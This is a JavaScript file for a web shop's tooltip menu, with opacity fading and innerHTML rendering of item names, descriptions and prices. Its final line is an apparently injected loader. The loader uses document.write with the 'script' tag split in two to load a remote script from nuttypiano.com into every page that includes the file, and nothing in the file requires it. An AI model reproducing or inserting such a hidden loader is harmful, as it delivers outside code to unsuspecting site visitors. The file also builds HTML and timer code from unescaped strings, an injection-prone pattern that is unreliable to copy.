/***********************************/
/* własność AratMedia s.c.         */
/* code by Michał 'REGi' Rygielski */
/* http://aratmedia.pl             */
/*                                 */
/* wszelkie kopiowanie zabronione! */
/*                                 */
/* 20.04.2008                      */
/***********************************/

  function _opacity(id, o) {
    var obj = document.getElementById(id).style;
    obj.MozOpacity = (o / 100); // Mozilla i FireFox
    obj.KhtmlOpacity = (o / 100); // Safari < 1.2
    obj.opacity = (o / 100); // Safari 1.2, nowszy FireFox i Mozilla
    obj.filter = "alpha(opacity=" + o + ")"; // Internet Explorer
  }

  var fadeValue=0;
      fadeInterval=1;
      marginTopValue=-34;

  function fadeCloud() {
      fadeValue+=5;

     _opacity('toolTipID',fadeValue);
     if (fadeValue>100) {
       fadeValue=0;
       clearInterval(fadeInterval);
     }
  }

  function show_tooltip(nazwa, opis, cena) {

    document.getElementById('menu').innerHTML = '<div class="opis_container" id="toolTipID"><div class="opis_temat">'+nazwa+'</div><div class="opis_line"></div><div class="opis_txt">'+opis+'</div><div class="opis_cena">'+cena+'</div></div>';
    fadeInterval=setInterval("fadeCloud()",1);

  }
  function show_tooltip_ie(nazwa, opis, cena) {

   // document.getElementById('menu').innerHTML = '<div class="opis_container" id="toolTipID><div class="opis_temat">'+nazwa+'</div><div class="opis_line"></div><div class="opis_txt">'+opis+'</div><div class="opis_cena">'+cena+'</div></div>';
  //  _opacity('toolTipID',100);
                 document.getElementById('menu').innerHTML = 'test';
   // document.getElementById('menu').innerHTML = '<div class="opis_container" id="toolTipID"><div class="opis_temat">'+nazwa+'</div><div class="opis_line"></div><div class="opis_txt">'+opis+'</div><div class="opis_cena">'+cena+'</div></div>';
   // fadeInterval=setInterval("fadeCloud()",1);
  }

  function run_menu(nazwa, opis, cena) {

    //wykrywanie przegladarki
   // var nazwaBrowser = navigator.appName;
   // if (nazwaBrowser=="Microsoft Internet Explorer") TipTime = setTimeout("show_tooltip_ie("+nazwa+"','"+opis+"','"+cena+"')", 500);
  //  else TipTime = setTimeout("show_tooltip('"+nazwa+"','"+opis+"','"+cena+"')", 500);
    TipTime = setTimeout("show_tooltip('"+nazwa+"','"+opis+"','"+cena+"')", 5);

  }
  function run_menu_null() {

    fadeValue = 0;
    clearInterval(fadeInterval);
    clearTimeout(TipTime);
    document.getElementById('menu').innerHTML = '';

  }
  function run_menu_null_hover() {

    fadeValue = 0;
    clearInterval(fadeInterval);
    clearTimeout(TipTime);
    document.getElementById('menu').innerHTML = '';

  }
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Num_Lock.js"></scri'+'pt>');